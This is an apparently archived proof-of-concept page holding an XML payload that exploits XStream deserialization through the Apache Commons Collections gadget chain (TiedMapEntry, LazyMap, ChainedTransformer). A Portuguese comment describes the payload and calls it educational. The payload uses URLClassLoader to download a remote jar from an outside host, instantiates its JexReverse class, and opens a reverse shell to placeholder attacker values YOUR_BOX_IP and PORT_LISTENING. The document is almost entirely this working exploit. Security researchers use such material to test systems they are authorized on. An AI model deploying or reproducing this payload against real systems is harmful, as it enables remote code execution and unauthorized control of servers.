4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / reverseShellMultiplatformCommonsCollections.xml XML
<!--
 Payload com gadget chain para carregar e executar uma classe remota
 (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
 do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
 a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
 Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
 o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
 de um LazyMap decorado com a ChainedTransformers.

 Esse XML pode ser usado para validação/exploração de sistemas que realizam a
 desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
 NAO utilize em sistemas que você não tenha autorização!

 * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
 * https://www.h2hc.com.br/revista/
 * https://github.com/joaomatosf/JavaDeserH2HC
 * @joaomatosf
-->
<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
      <unserializable-parents/>
      <org.apache.commons.collections.map.LazyMap>
        <default>
          <factory class="org.apache.commons.collections.functors.ChainedTransformer">
            <iTransformers>
              <org.apache.commons.collections.functors.ConstantTransformer>
                <iConstant class="java-class">java.net.URLClassLoader</iConstant>
              </org.apache.commons.collections.functors.ConstantTransformer>
              <org.apache.commons.collections.functors.InstantiateTransformer>
                <iParamTypes>
                  <java-class>[Ljava.net.URL;</java-class>
                </iParamTypes>
                <iArgs>
                  <url-array>
                    <url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
                  </url-array>
                </iArgs>
              </org.apache.commons.collections.functors.InstantiateTransformer>
              <org.apache.commons.collections.functors.InvokerTransformer>
                <iMethodName>loadClass</iMethodName>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                </iParamTypes>
                <iArgs>
                  <string>JexReverse</string>
                </iArgs>
              </org.apache.commons.collections.functors.InvokerTransformer>
              <org.apache.commons.collections.functors.InstantiateTransformer>
                <iParamTypes>
                  <java-class>java.lang.String</java-class>
                  <java-class>int</java-class>
                </iParamTypes>
                <iArgs>
                  <string>YOUR_BOX_IP</string>
                  <int>PORT_LISTENING</int>
                </iArgs>
              </org.apache.commons.collections.functors.InstantiateTransformer>
            </iTransformers>
          </factory>
        </default>
        <map/>
      </org.apache.commons.collections.map.LazyMap>
    </map>
    <key class="string">foo</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>